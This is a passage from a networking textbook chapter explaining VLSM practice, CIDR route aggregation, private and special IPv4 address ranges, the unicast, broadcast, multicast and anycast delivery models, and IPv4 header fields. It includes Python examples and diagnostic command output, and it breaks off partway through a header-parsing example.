• The VLSM algorithm: list requirements, sort descending, allocate largest first, align each subnet to a multiple of its own size.
• Allocating largest-first prevents stranded, misaligned holes — exactly the reasoning used in memory allocators.
• The magic number 256 - mask_octet gives the subnet size and the step between consecutive network addresses.

🧪 Practice

1. Divide 10.1.0.0/22 into eight equal subnets. State the prefix length, the network and broadcast address of the first and last, and the usable host count.
2. Apply VLSM to 172.16.4.0/23 for requirements of 200, 120, 60, 25, and four point-to-point links of 2 hosts each. Show the allocation in order and the leftover space.
3. Using the magic-number method only, state which /28 contains 192.168.7.201 and give its broadcast address.
4. Interview-style: Why must VLSM allocations be made largest-first, and what specifically goes wrong if you allocate smallest-first? (Hint: think about alignment — where is a /25 allowed to start, and what happens to the space you already consumed?)

Supernetting and CIDR

Theory

Subnetting divides; supernetting combines. Take several adjacent networks and describe them with one shorter prefix. 192.168.0.0/24, 192.168.1.0/24, 192.168.2.0/24 and 192.168.3.0/24 are four routing entries — or one entry, 192.168.0.0/22, if you shorten the mask by two bits. Four entries become one, and the information lost is only the internal division, which the rest of the world does not need.

CIDR (Classless Inter-Domain Routing, RFC 4632) is the framework that makes both operations legal. Its content is a single idea with large consequences: the prefix length is explicit, arbitrary, and carried with the route. Not inferred from the address, not restricted to 8, 16 or 24.

That one change delivered three things:

Allocation at the right granularity. An organisation needing 500 addresses receives a /23 (512), not a class B (65,534). The waste drops from 99.2% to 2.3%.

Route aggregation. A provider holding 192.168.0.0/16 can subdivide it among thousands of customers and still advertise one route to the rest of the internet. This is what actually keeps the global routing table from exploding.

Provider-based addressing. Address blocks are allocated to providers, who assign from them hierarchically. Aggregation only works if addressing follows topology — which is precisely why provider-independent addresses and multihoming are hard: they are unaggregatable by construction, and each one adds a permanent entry to every router on earth.

Aggregation has strict rules. Prefixes can be combined only when they are contiguous, equal in size, and aligned — the combined block must start on a boundary that is a multiple of its own size. 192.168.1.0/24 and 192.168.2.0/24 are adjacent but cannot be aggregated into a /23, because a /23 must begin at an even third octet. 192.168.2.0/24 + 192.168.3.0/24 can.

The mechanical test: write the prefixes in binary and find how many leading bits they share. That count is the length of the aggregate. If the aggregate covers addresses you do not hold, you would be advertising reachability you cannot provide — so the blocks must exactly fill the aggregate.

CIDR's historical effect is measurable. The global routing table was growing exponentially before 1994 and flattened sharply afterwards. It still grows — today it is around a million IPv4 prefixes — driven by multihoming and by deaggregation for traffic engineering, both of which deliberately break aggregation for local benefit at global cost. This is a textbook tragedy of the commons: each operator's deaggregation is rational, and the aggregate result is a routing table everyone must pay to hold.

Examples

Aggregating four /24s into one /22

  192.168.0.0   11000000 10101000 000000|00 00000000
  192.168.1.0   11000000 10101000 000000|01 00000000
  192.168.2.0   11000000 10101000 000000|10 00000000
  192.168.3.0   11000000 10101000 000000|11 00000000
                \___________________/ ^^
                 22 bits IDENTICAL     these 2 bits vary
                                       -> they are host/subnet bits now

  Aggregate: 192.168.0.0/22   (covers .0.0 through .3.255)
  4 routing entries -> 1.


When aggregation is ILLEGAL

  192.168.1.0/24 + 192.168.2.0/24 ?
      192.168.1.0  ... 000000|01 ...
      192.168.2.0  ... 000000|10 ...
      shared leading bits = 22, so the candidate is 192.168.0.0/22
      BUT that /22 also covers 192.168.0.0/24 and 192.168.3.0/24,
      which you do NOT hold. Advertising it would black-hole
      traffic for two networks belonging to someone else.
      -> NOT aggregatable. Alignment matters, not just adjacency.


Aggregation in the real topology

      Customer A: 203.0.112.0/24 ]
      Customer B: 203.0.113.0/24 ] all inside
      Customer C: 203.0.114.0/24 ] 203.0.112.0/21
      ...                        ]
                     |
              +------v-------+
              |     ISP      |  holds 203.0.112.0/21
              +------+-------+
                     |  advertises ONE prefix to the internet
                     v
             [ global routing table ]  <- 1 entry, not 8

import ipaddress

def aggregate(prefixes):
    """Collapse a list of prefixes into the smallest equivalent set."""
    nets = [ipaddress.ip_network(p) for p in prefixes]
    return list(ipaddress.collapse_addresses(nets))

group_a = ["192.168.0.0/24", "192.168.1.0/24", "192.168.2.0/24", "192.168.3.0/24"]
group_b = ["192.168.1.0/24", "192.168.2.0/24"]

print("aggregatable:    ", [str(n) for n in aggregate(group_a)])
print("NOT aggregatable:", [str(n) for n in aggregate(group_b)])
# aggregatable:     ['192.168.0.0/22']
# NOT aggregatable: ['192.168.1.0/24', '192.168.2.0/24']

def common_prefix_len(prefixes):
    """The aggregate's length = number of leading bits all prefixes share."""
    ints = [int(ipaddress.ip_network(p).network_address) for p in prefixes]
    x = 0
    for i in range(32):
        bit = 1 << (31 - i)
        if len({v & bit for v in ints}) != 1:    # bit differs somewhere -> stop
            break
        x += 1
    return x

for g in (group_a, group_b):
    plen = common_prefix_len(g)
    base = ipaddress.ip_network(g[0]).supernet(new_prefix=plen)
    covered = base.num_addresses
    held = sum(ipaddress.ip_network(p).num_addresses for p in g)
    verdict = "SAFE" if covered == held else f"UNSAFE: covers {covered - held} addrs you don't hold"
    print(f"{len(g)} prefixes -> candidate {base}  {verdict}")
# 4 prefixes -> candidate 192.168.0.0/22  SAFE
# 2 prefixes -> candidate 192.168.0.0/22  UNSAFE: covers 512 addrs you don't hold

# The waste CIDR removed.
def waste(needed):
    classful = 65534 if needed > 254 else 254
    plen = 32
    while (2 ** (32 - plen)) - 2 < needed:
        plen -= 1
    cidr = (2 ** (32 - plen)) - 2
    return classful, cidr, plen

for n in (500, 3000, 12000):
    classful, cidr, plen = waste(n)
    print(f"need {n:>6}: classful gives {classful:>6} ({100*(classful-n)/classful:5.1f}% wasted)"
          f"  CIDR gives /{plen} = {cidr:>6} ({100*(cidr-n)/cidr:5.1f}% wasted)")
# need    500: classful gives  65534 ( 99.2% wasted)  CIDR gives /23 =    510 (  2.0% wasted)
# need   3000: classful gives  65534 ( 95.4% wasted)  CIDR gives /20 =   4094 ( 26.7% wasted)
# need  12000: classful gives  65534 ( 81.7% wasted)  CIDR gives /18 =  16382 ( 26.7% wasted)

# Aggregation configured and observed.

# On a provider edge router: advertise the aggregate, suppress the specifics.
# router bgp 64500
#   aggregate-address 203.0.112.0 255.255.248.0 summary-only
#                                                ^^^^^^^^^^^^ hide the 8 /24s

$ show ip bgp 203.0.112.0/21
# BGP routing table entry for 203.0.112.0/21, version 1842
#   Aggregated by 64500 10.0.0.1
#   ^ one prefix now represents eight customer networks

# The global table, and the cost of deaggregation:
$ show ip bgp summary | tail -2
# Neighbor  V  AS  MsgRcvd  MsgSent  TblVer  Up/Down  State/PfxRcd
# 10.0.0.1  4  1299  184211   9112    1842   3w2d          974213
#                                                          ^^^^^^ ~1M IPv4 prefixes
#   A large share of these are more-specifics that COULD have been aggregated
#   but are advertised separately for multihoming or traffic engineering.

Key takeaways

• Supernetting merges contiguous, equal-sized, aligned prefixes into one shorter prefix — the inverse of subnetting.
• CIDR made the prefix length explicit, arbitrary, and carried with the route, abolishing classes.
• This gave right-sized allocation (a /23 for 500 hosts instead of a class B) and route aggregation.
• Aggregation is legal only when blocks are contiguous, equal in size, and aligned; 192.168.1.0/24 + 192.168.2.0/24 is adjacent but not aggregatable.
• The aggregate's length equals the number of leading bits all members share; if the aggregate covers space you do not hold, advertising it black-holes someone else's traffic.
• Aggregation depends on addressing following topology, which is why provider-independent and multihomed prefixes are unaggregatable and permanently enlarge the global table.
• CIDR flattened routing table growth after 1994; growth today (~1M prefixes) is driven by multihoming and deliberate deaggregation — locally rational, globally costly.

🧪 Practice

1. Aggregate 10.8.0.0/24 through 10.8.7.0/24 into a single prefix, showing the shared leading bits.
2. Determine whether 172.16.6.0/24 and 172.16.7.0/24 can be aggregated, and whether 172.16.7.0/24 and 172.16.8.0/24 can. Justify each with alignment, not adjacency.
3. An ISP holds 198.51.100.0/22 and assigns /26s to customers. Compute how many customers it can serve and how many prefixes it advertises to the internet.
4. Interview-style: A customer multihomes to two ISPs using provider-independent space. Explain the cost this imposes on every router on the internet, and why the customer does it anyway. (Hint: consider which entity pays for the extra routing table entry versus which entity gains the resilience.)

Private Address Ranges and Special Addresses

Theory

Not every address is globally routable, and not every address is assignable to a host. A substantial part of the 32-bit space is reserved for specific purposes, and knowing which ranges are special is the difference between diagnosing a problem in seconds and being confused for an hour.

Private address space (RFC 1918) is the largest and most important reservation. Three blocks are set aside for use inside organisations, and every router on the public internet is configured to discard packets addressed to them:

Block	CIDR	Addresses	Old class	Typical use
10.0.0.0 – 10.255.255.255	10.0.0.0/8	16,777,216	one class A	Large enterprises, cloud VPCs
172.16.0.0 – 172.31.255.255	172.16.0.0/12	1,048,576	16 class Bs	Mid-size networks, Docker
192.168.0.0 – 192.168.255.255	192.168.0.0/16	65,536	256 class Cs	Home and small office

The point of private space is reuse. Millions of separate networks use 192.168.1.0/24 simultaneously with no conflict, because the addresses never appear on the public internet — NAT (covered in 5.6) translates them at the boundary. This is the single largest reason IPv4 has survived decades past its projected exhaustion.

Note the 172.16.0.0/12 boundary carefully, because it is the most commonly misremembered fact in IPv4: the range is 172.16 through 172.31, not 172.16 through 172.255. A /12 fixes the first 12 bits, which leaves the second octet varying only over 16 values.

The other reservations each solve a specific problem:

Range	Name	Meaning
127.0.0.0/8	Loopback	Traffic to self; never leaves the host. The whole /8, not just 127.0.0.1
169.254.0.0/16	Link-local / APIPA	Self-assigned when DHCP fails; routable only on the local link
0.0.0.0/8	"This network"	0.0.0.0 means "unspecified"; as a listen address it means "all interfaces"
255.255.255.255	Limited broadcast	All hosts on this link; never forwarded by a router
224.0.0.0/4	Multicast	Group addresses (old class D)
240.0.0.0/4	Reserved	Old class E, still unusable in practice
100.64.0.0/10	Shared address space	Carrier-grade NAT (RFC 6598)
192.0.2.0/24, 198.51.100.0/24, 203.0.113.0/24	Documentation	TEST-NET-1/2/3, for examples and books

Two of these deserve a closer look because they carry diagnostic weight.

169.254.x.x is a symptom, not a configuration. A host self-assigns a link-local address only after failing to reach a DHCP server. Seeing one on a client that should have DHCP means the DHCP request never got an answer — a dead server, a broken relay, a VLAN misconfiguration, or a disconnected cable. The address itself is working as designed; what it is telling you is that something upstream is not.

0.0.0.0 is context-dependent. As a destination in a routing table it is the default route. As a source it means "I do not have an address yet" — which is exactly what a DHCP client puts in its DISCOVER. As a bind address it means "listen on every interface", which is why 0.0.0.0:8080 in ss output is a meaningful security observation: the service is reachable from outside, not just from localhost.

Finally, within any subnet, two addresses are reserved by the arithmetic itself: the network address (all host bits 0) and the broadcast address (all host bits 1). Neither can be assigned to an interface, which is where the familiar - 2 comes from.

Examples

The IPv4 space, with the reserved regions marked

  0.0.0.0        "this network"                       0.0.0.0/8
  |
  10.0.0.0       PRIVATE  (16.7M)                     10.0.0.0/8
  |
  100.64.0.0     CGNAT shared space                   100.64.0.0/10
  |
  127.0.0.0      LOOPBACK (the whole /8)              127.0.0.0/8
  |
  169.254.0.0    LINK-LOCAL / APIPA                   169.254.0.0/16
  |
  172.16.0.0     PRIVATE  (1M)  ...172.31.255.255     172.16.0.0/12
  |                             ^^^^^^ NOT 172.255!
  192.0.2.0      TEST-NET-1 (documentation)           192.0.2.0/24
  192.168.0.0    PRIVATE  (65K)                       192.168.0.0/16
  198.51.100.0   TEST-NET-2                           198.51.100.0/24
  203.0.113.0    TEST-NET-3                           203.0.113.0/24
  224.0.0.0      MULTICAST                            224.0.0.0/4
  240.0.0.0      RESERVED (class E)                   240.0.0.0/4
  255.255.255.255  LIMITED BROADCAST


Why the 172.16.0.0/12 boundary is where it is

  172.16.0.0   10101100 0001|0000 ........ ........
  172.31.255.255 10101100 0001|1111 ........ ........
                 \___________/ ^^^^
                  12 fixed bits  these 4 bits vary: 0000..1111 = 16 values
                                 second octet: 16..31, and no further.
  172.32.0.0   10101100 0010|0000  <- 13th bit differs: OUTSIDE the block.

import ipaddress

SPECIAL = [
    ("0.0.0.0/8",        "this network / unspecified"),
    ("10.0.0.0/8",       "RFC 1918 private"),
    ("100.64.0.0/10",    "CGNAT shared (RFC 6598)"),
    ("127.0.0.0/8",      "loopback"),
    ("169.254.0.0/16",   "link-local (APIPA)"),
    ("172.16.0.0/12",    "RFC 1918 private"),
    ("192.0.2.0/24",     "TEST-NET-1 documentation"),
    ("192.168.0.0/16",   "RFC 1918 private"),
    ("198.51.100.0/24",  "TEST-NET-2 documentation"),
    ("203.0.113.0/24",   "TEST-NET-3 documentation"),
    ("224.0.0.0/4",      "multicast"),
    ("240.0.0.0/4",      "reserved (class E)"),
]

def classify(addr):
    a = ipaddress.ip_address(addr)
    for cidr, name in SPECIAL:
        if a in ipaddress.ip_network(cidr):
            return f"{name}  [{cidr}]"
    return "globally routable public address"

for a in ["8.8.8.8", "10.1.2.3", "172.16.0.1", "172.31.255.254", "172.32.0.1",
          "127.0.0.53", "169.254.14.9", "192.168.1.1", "100.100.5.7", "203.0.113.9"]:
    print(f"{a:<16} {classify(a)}")
# 8.8.8.8          globally routable public address
# 10.1.2.3         RFC 1918 private  [10.0.0.0/8]
# 172.16.0.1       RFC 1918 private  [172.16.0.0/12]
# 172.31.255.254   RFC 1918 private  [172.16.0.0/12]
# 172.32.0.1       globally routable public address     <- the classic mistake
# 127.0.0.53       loopback  [127.0.0.0/8]
# 169.254.14.9     link-local (APIPA)  [169.254.0.0/16]
# 192.168.1.1      RFC 1918 private  [192.168.0.0/16]
# 100.100.5.7      CGNAT shared (RFC 6598)  [100.64.0.0/10]
# 203.0.113.9      TEST-NET-3 documentation  [203.0.113.0/24]

# Python's own predicates agree, and are what you should use in real code.
for a in ["10.1.2.3", "169.254.1.1", "127.0.0.1", "224.0.0.9", "8.8.8.8"]:
    ip = ipaddress.ip_address(a)
    print(f"{a:<14} private={ip.is_private!s:<5} loopback={ip.is_loopback!s:<5} "
          f"link_local={ip.is_link_local!s:<5} multicast={ip.is_multicast!s:<5} "
          f"global={ip.is_global}")
# 10.1.2.3       private=True  loopback=False link_local=False multicast=False global=False
# 169.254.1.1    private=True  loopback=False link_local=True  multicast=False global=False
# 127.0.0.1      private=True  loopback=True  link_local=False multicast=False global=False
# 224.0.0.9      private=False loopback=False link_local=False multicast=True  global=True
# 8.8.8.8        private=False loopback=False link_local=False multicast=False global=True

# 169.254 as a diagnostic signal, not a setting.
$ ip addr show eth0 | grep inet
#     inet 169.254.88.201/16 brd 169.254.255.255 scope link eth0
#          ^^^^^^^^^^^^^^^^^ the host gave up on DHCP and self-assigned.
#          Do not "fix" this address — fix the DHCP path.
$ journalctl -u dhcpcd -n 3
# dhcpcd: eth0: soliciting a DHCP lease
# dhcpcd: eth0: probing for an IPv4LL address
# dhcpcd: eth0: using IPv4LL address 169.254.88.201    <- confirmation

# 0.0.0.0 means three different things in three different places.
$ ip route | head -1
# default via 192.168.1.1 dev eth0        # 0.0.0.0/0 as DESTINATION = default route
$ ss -tlnp | grep 8080
# LISTEN 0 511 0.0.0.0:8080  0.0.0.0:*    # as BIND address = all interfaces
#                 ^^^^^^^ reachable from the network, not just localhost
$ sudo tcpdump -i eth0 -n port 67 or port 68
# IP 0.0.0.0.68 > 255.255.255.255.67: BOOTP/DHCP, Request from aa:bb:cc:dd:ee:ff
#    ^^^^^^^ as SOURCE = "I have no address yet"
#              ^^^^^^^^^^^^^^^ limited broadcast: never forwarded by a router

# The whole 127/8 is loopback, not just 127.0.0.1:
$ ping -c1 127.4.5.6 | head -2
# PING 127.4.5.6 (127.4.5.6) 56(84) bytes of data.
# 64 bytes from 127.4.5.6: icmp_seq=1 ttl=64 time=0.031 ms

Key takeaways

• RFC 1918 private space: 10.0.0.0/8, 172.16.0.0/12 (only 172.16–172.31), 192.168.0.0/16. Never routed on the public internet.
• Private space enables address reuse across millions of networks, and with NAT is the main reason IPv4 outlived its exhaustion date.
• 127.0.0.0/8 is loopback in its entirety, not just 127.0.0.1.
• 169.254.0.0/16 is self-assigned after DHCP failure — treat it as a symptom, and fix the DHCP path rather than the address.
• 0.0.0.0 means default route (as destination), "no address yet" (as source), or "all interfaces" (as a bind address).
• 255.255.255.255 is the limited broadcast and is never forwarded by a router.
• 100.64.0.0/10 is CGNAT shared space; 192.0.2.0/24, 198.51.100.0/24 and 203.0.113.0/24 are documentation blocks.
• Within every subnet, the network and broadcast addresses are unassignable, which is the origin of 2^h - 2.

🧪 Practice

1. Classify 172.15.0.1, 172.20.0.1, 172.32.0.1, 169.254.9.9, and 100.70.0.1, naming the reserved block where applicable.
2. A workstation shows 169.254.212.7. List four distinct causes, ordered by how quickly you could check each.
3. Explain what 0.0.0.0 means in a routing table, in a DHCP DISCOVER's source field, and in ss -tln output.
4. Interview-style: A developer reports their service "works locally but not from another machine", and ss -tln shows it bound to 127.0.0.1:3000. Explain the cause and the fix. (Hint: the whole 127/8 never leaves the host — what would the bind address have to be instead?)

Broadcast, Unicast, Multicast, and Anycast

Theory

Addressing so far has implicitly assumed one sender and one receiver. That is only one of four delivery models, and the differences matter for efficiency, for protocol design, and for how modern content delivery works.

Unicast — one sender, one specific receiver. The overwhelming majority of traffic. One address identifies one interface, and the packet is delivered to exactly that interface.

Broadcast — one sender, every host on the subnet. Two forms exist:

• Limited broadcast 255.255.255.255 — this link only, never forwarded by a router. Used when the sender has no address yet or does not know the subnet, which is exactly the DHCP client's situation.
• Directed broadcast, e.g. 192.168.1.255 for 192.168.1.0/24 — addressed to all hosts on a specific subnet. Routers can in principle forward it to that subnet and broadcast it there, but this is disabled by default on every modern router because it enabled the smurf amplification attack: spoof the victim's address as the source, send one packet to a broadcast address, and every host on that subnet replies to the victim.

Broadcast is expensive in a way that is easy to underestimate. Every NIC on the segment must accept the frame, interrupt the CPU, and pass it up the stack, where it is usually discarded. A thousand-host flat network means every ARP request costs a thousand interrupts. This is the central reason to subnet.

Multicast — one sender, a group of interested receivers. The address 224.0.0.0/4 identifies a group rather than a host, and hosts join groups they care about. The efficiency gain is structural: the sender transmits one copy, and routers duplicate packets only where the paths to group members diverge. Sending a video stream to 1,000 receivers by unicast costs 1,000 times the bandwidth at the source; by multicast it costs one stream per link, regardless of how many receivers hang off it.

Some well-known multicast groups are worth recognising on sight:

Group	Used by
224.0.0.1	All hosts on this subnet
224.0.0.2	All routers on this subnet
224.0.0.5 / 224.0.0.6	OSPF all routers / all designated routers
224.0.0.9	RIPv2
224.0.0.18	VRRP
224.0.0.251	mDNS (Bonjour, .local names)
239.0.0.0/8	Administratively scoped — private multicast, like RFC 1918

Multicast works well inside a controlled network (IPTV, financial market data, cluster discovery) and is largely absent from the public internet, because inter-domain multicast requires cooperation and per-group state that providers have never widely deployed.

Anycast — one address, many hosts, and the packet goes to the topologically nearest one. The clever part is that anycast requires no new protocol machinery at all: several servers in different locations simply announce the same prefix via BGP, and each router's normal shortest-path selection picks the closest instance. Routing does the work.

Anycast is how the internet's most critical services actually scale. Every DNS root server "letter" is a single anycast address served by dozens or hundreds of physical sites. 8.8.8.8 and 1.1.1.1 answer from whichever data centre is nearest you. CDNs use it to steer users to nearby caches, and DDoS mitigation depends on it — an attack is absorbed by the nearest site rather than concentrating on one.

The constraint is that anycast is stateless-friendly and stateful-hostile. A routing change mid-connection can send subsequent packets to a different server that knows nothing about the session. This is fine for a single-exchange UDP protocol like DNS, and it is why anycast and DNS are such a natural match. TCP over anycast does work in practice (CDNs rely on it) because routes are stable for the seconds a connection lasts, but it needs care.

Model	Senders : Receivers	Address range	Typical use
Unicast	1 : 1	All normal addresses	Almost everything
Broadcast	1 : all on subnet	255.255.255.255, subnet's last address	ARP, DHCP discovery
Multicast	1 : group	224.0.0.0/4	Routing protocols, IPTV, mDNS
Anycast	1 : nearest of many	Ordinary unicast addresses	DNS roots, 1.1.1.1, CDNs

Note that anycast uses ordinary unicast addresses — there is nothing in the address itself that marks it as anycast. What makes it anycast is that the same prefix is announced from multiple locations. (IPv6 removed broadcast entirely and formalised anycast; see 5.4.)

Examples

The four delivery models

  UNICAST                       BROADCAST
    S ---> [R1] ---> D            S ---> all hosts on the subnet
    one copy, one target                 A  B  C  D  E   (all must process it)

  MULTICAST                     ANYCAST
    S ---> [R1] ---+--> A         S ---> [routing picks nearest]
                   |                       |
                   +--> B          site-EU-+  site-US   site-ASIA
                                   ^ same address announced from all three;
    ONE copy per link. R1            the sender's router chooses one.
    duplicates only where
    paths diverge; C, which
    did not join, gets nothing.


Bandwidth at the source: 1,000 receivers, 5 Mb/s stream

  unicast:    1000 x 5 Mb/s = 5,000 Mb/s leaving the server
  multicast:      1 x 5 Mb/s =     5 Mb/s leaving the server
                  (each LINK carries one copy, however many listeners)


Anycast: one address, many servers, routing decides

    user in Berlin           user in Tokyo
          |                        |
      [BGP: 1.1.1.1 is 3 hops]  [BGP: 1.1.1.1 is 2 hops]
          v                        v
     +----------+             +----------+
     | Frankfurt|             |  Tokyo   |    both announce 1.1.1.1/32
     +----------+             +----------+    via BGP. No protocol needed
                                              beyond ordinary routing.

import ipaddress

def delivery_model(addr, subnet=None):
    ip = ipaddress.ip_address(addr)
    if ip.is_multicast:
        return "MULTICAST (delivered to group members that joined)"
    if str(ip) == "255.255.255.255":
        return "BROADCAST (limited: this link only, never forwarded)"
    if subnet:
        net = ipaddress.ip_network(subnet)
        if ip == net.broadcast_address:
            return f"BROADCAST (directed to all hosts in {subnet})"
    return "UNICAST (one interface; may be anycast if announced from many sites)"

for a, s in [("192.168.1.50", "192.168.1.0/24"),
             ("192.168.1.255", "192.168.1.0/24"),
             ("255.255.255.255", None),
             ("224.0.0.5", None),
             ("239.1.2.3", None),
             ("1.1.1.1", None)]:
    print(f"{a:<18}{delivery_model(a, s)}")
# 192.168.1.50      UNICAST (one interface; may be anycast if announced from many sites)
# 192.168.1.255     BROADCAST (directed to all hosts in 192.168.1.0/24)
# 255.255.255.255   BROADCAST (limited: this link only, never forwarded)
# 224.0.0.5         MULTICAST (delivered to group members that joined)
# 239.1.2.3         MULTICAST (delivered to group members that joined)
# 1.1.1.1           UNICAST (one interface; may be anycast if announced from many sites)

# Cost comparison at the source and on the shared uplink.
def stream_cost(receivers, mbps=5, receivers_per_link=50):
    links = -(-receivers // receivers_per_link)
    return {
        "unicast_source_mbps":   receivers * mbps,
        "multicast_source_mbps": mbps,
        "unicast_uplink_mbps":   receivers * mbps,     # every copy crosses it
        "multicast_uplink_mbps": mbps,                 # one copy crosses it
        "multicast_total_links": links,
    }

for n in (10, 100, 1000, 10000):
    c = stream_cost(n)
    print(f"{n:>6} receivers: unicast {c['unicast_source_mbps']:>7,} Mb/s   "
          f"multicast {c['multicast_source_mbps']:>2} Mb/s   "
          f"ratio {c['unicast_source_mbps'] // c['multicast_source_mbps']:>6,}x")
#     10 receivers: unicast      50 Mb/s   multicast  5 Mb/s   ratio     10x
#    100 receivers: unicast     500 Mb/s   multicast  5 Mb/s   ratio    100x
#   1000 receivers: unicast   5,000 Mb/s   multicast  5 Mb/s   ratio  1,000x
#  10000 receivers: unicast  50,000 Mb/s   multicast  5 Mb/s   ratio 10,000x

# Anycast is visible as the same address answering from different places.
$ ping -c1 1.1.1.1 ; ping -c1 1.1.1.1    # run from Europe and from Asia
# 64 bytes from 1.1.1.1: icmp_seq=1 ttl=59 time=4.21 ms      <- Frankfurt site
# 64 bytes from 1.1.1.1: icmp_seq=1 ttl=57 time=3.88 ms      <- Tokyo site
#   Same address. Different machines. Only latency and TTL betray it.

$ dig +short CHAOS TXT id.server @1.1.1.1
# "FRA"                       # the site identifier tells you which instance
$ dig +short CHAOS TXT hostname.bind @k.root-servers.net
# "ns2.lon.k.ripe.net"        # a root server letter is dozens of sites

# Multicast group membership on a host:
$ ip maddr show eth0
# 2: eth0
#     inet 224.0.0.1                      <- all-hosts, always joined
#     inet 224.0.0.251                    <- mDNS, joined by avahi
#     inet 224.0.0.5                      <- OSPF, joined by the routing daemon

# Directed broadcast is disabled by default — this is why smurf died:
# interface GigabitEthernet0/1
#   no ip directed-broadcast     <- default since the late 1990s

Key takeaways

• Unicast is one-to-one and accounts for nearly all traffic.
• Broadcast is one-to-all-on-the-subnet: limited (255.255.255.255, never forwarded) and directed (the subnet's last address, disabled by default because of smurf amplification).
• Broadcast costs every host an interrupt, which is the core argument for keeping subnets small.
• Multicast delivers to hosts that joined a group; the sender emits one copy and routers duplicate only where paths diverge, giving an N-fold bandwidth saving.
• Well-known groups: 224.0.0.5/6 (OSPF), 224.0.0.9 (RIPv2), 224.0.0.18 (VRRP), 224.0.0.251 (mDNS), 239.0.0.0/8 (private scope).
• Anycast announces one address from many locations and lets routing choose the nearest — it needs no new protocol, only BGP.
• Anycast underpins DNS roots, public resolvers, CDNs, and DDoS absorption; it suits stateless protocols because a route change can move a session to a different server.
• Anycast addresses are ordinary unicast addresses — what makes them anycast is where they are announced from.

🧪 Practice

1. For 10.20.30.0/24, give the limited broadcast address, the directed broadcast address, and state which a router will forward.
2. Compute the source bandwidth for a 10 Mb/s stream to 5,000 receivers under unicast and under multicast, and explain where multicast's copies are actually made.
3. Explain how 1.1.1.1 can be served by hundreds of machines worldwide without any protocol beyond BGP, and give one reason this suits DNS particularly well.
4. Interview-style: Why is anycast risky for long-lived TCP connections but not for DNS? (Hint: consider what happens to connection state if a BGP route changes halfway through an exchange, and how long each protocol's exchange lasts.)

<a id="53-the-ipv4-protocol"></a>

5.3 The IPv4 Protocol

This subchapter examines the packet itself — every field in the header, what it is for, and the two mechanisms (TTL and fragmentation) whose behaviour explains a large share of real-world network mysteries.

IPv4 Header Fields

Theory

The IPv4 header is 20 bytes when no options are present, and every one of those bytes has had to justify itself against forty years of hardware that must parse it at line rate. Reading the header fluently is what makes packet captures interpretable.

 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-------+-------+---------------+-------------------------------+
|Version|  IHL  |Type of Service|         Total Length          |
+-------+-------+---------------+-----+-------------------------+
|         Identification        |Flags|     Fragment Offset     |
+---------------+---------------+-----+-------------------------+
| Time to Live  |    Protocol   |        Header Checksum        |
+---------------+---------------+-------------------------------+
|                    Source IP Address                          |
+---------------------------------------------------------------+
|                 Destination IP Address                        |
+---------------------------------------------------------------+
|              Options (0-40 bytes)             |    Padding    |
+-----------------------------------------------+---------------+

Field by field:

Field	Size	Purpose
Version	4 bits	4 for IPv4, 6 for IPv6. First field so the parser knows what follows
IHL	4 bits	Header length in 32-bit words. Minimum 5 (20 bytes), maximum 15 (60 bytes)
ToS / DSCP + ECN	8 bits	Priority marking; see the DSCP topic below
Total Length	16 bits	Header plus payload, in bytes. Caps a packet at 65,535 bytes
Identification	16 bits	Groups the fragments of one original packet
Flags	3 bits	bit 0 reserved, bit 1 DF (Don't Fragment), bit 2 MF (More Fragments)
Fragment Offset	13 bits	Where this fragment sits, in 8-byte units
TTL	8 bits	Hop budget; decremented by every router
Protocol	8 bits	What is inside: 1 = ICMP, 6 = TCP, 17 = UDP, 89 = OSPF
Header Checksum	16 bits	Covers the header only, recomputed at every hop
Source Address	32 bits	Sender's IP
Destination Address	32 bits	Receiver's IP
Options	0–40 bytes	Rarely used; see the IP Options topic

Several design decisions here repay attention.

IHL exists because of options. Without options the header is fixed at 20 bytes and no length field would be needed. IHL is measured in 32-bit words, which is why options must be padded to a multiple of four bytes — and why the maximum header is 15 × 4 = 60 bytes, leaving 40 for options.

Fragment Offset is in 8-byte units for a purely arithmetic reason: 13 bits can only count to 8,191, but Total Length allows 65,535 bytes. Multiplying by 8 extends the reach to 65,528, which covers the whole range. The cost is that every fragment except the last must have a payload that is a multiple of 8 bytes.

The checksum covers only the header, and it is recomputed at every hop because TTL changes. This is a deliberate trade: verifying the payload at every router would be expensive, and the transport layer checksums the payload end-to-end anyway — the end-to-end argument again. IPv6 removed the header checksum entirely, reasoning that link layers already detect corruption and transports check end-to-end.

Protocol is a demultiplexing key, exactly like EtherType one layer down and port numbers one layer up. Each layer needs to know which parser to hand the payload to, and each solves it with a small integer.

Examples

A real packet, byte by byte (20-byte header, TCP inside)

  45 00 00 3c  a1 b2 40 00  40 06 c7 3d  c0 a8 01 14  08 08 08 08
  ^^ ^^ ^^^^^  ^^^^^ ^^^^^  ^^ ^^ ^^^^^  ^^^^^^^^^^^  ^^^^^^^^^^^
  |  |  |      |     |      |  |  |      source       destination
  |  |  |      |     |      |  |  +-- checksum 0xc73d
  |  |  |      |     |      |  +----- protocol 0x06 = TCP
  |  |  |      |     |      +-------- TTL 0x40 = 64
  |  |  |      |     +--------------- flags+offset 0x4000 -> DF set, offset 0
  |  |  |      +--------------------- identification 0xa1b2
  |  |  +---------------------------- total length 0x003c = 60 bytes
  |  +------------------------------- ToS 0x00
  +---------------------------------- 0x45: version 4, IHL 5 (5*4 = 20 bytes)

  Payload length = Total Length - (IHL * 4) = 60 - 20 = 40 bytes.

import struct, socket

def parse_ipv4(raw: bytes):
    # '!' = network byte order (big-endian). B=1 byte, H=2 bytes, 4s=4 bytes.
    (ver_ihl, tos, total_len, ident, flags_frag,
     ttl, proto, csum, src, dst) = struct.unpack("!BBHHHBBH4s4s", raw[:20])

    version = ver_ihl >> 4            # high nibble
    ihl     = ver_ihl & 0x0F          # low nibble, in 32-bit words
    header_bytes = ihl * 4

    flags  = flags_frag >> 13         # top 3 bits
    offset = (flags_frag & 0x1FFF) * 8  # low 13 bits, counted in 8-byte units

    return {
        "version": version,
        "header_bytes": header_bytes,
        "dscp": tos >> 2, "ecn": tos & 0x03,
        "total_length": total_len,
        "payload_bytes": total_len - header_bytes,
        "id": hex(ident),
        "DF": bool(flags & 0b010), "MF": bool(flags & 0b001),
        "frag_offset": offset,
        "ttl": ttl,
        "protocol": {1:"ICMP",6:"TCP",17:"UDP",89:"OSPF"}.get(proto, proto),
        "checksum": hex(csum),
        "src": socket.inet_ntoa(src), "dst": socket.inet_ntoa(dst),
    }

packet = bytes.fromhex("45000 03ca1b24000 4006c73d c0a80114 08080808".replace(" ", ""))
for k, v in parse_ipv4(packet).items():
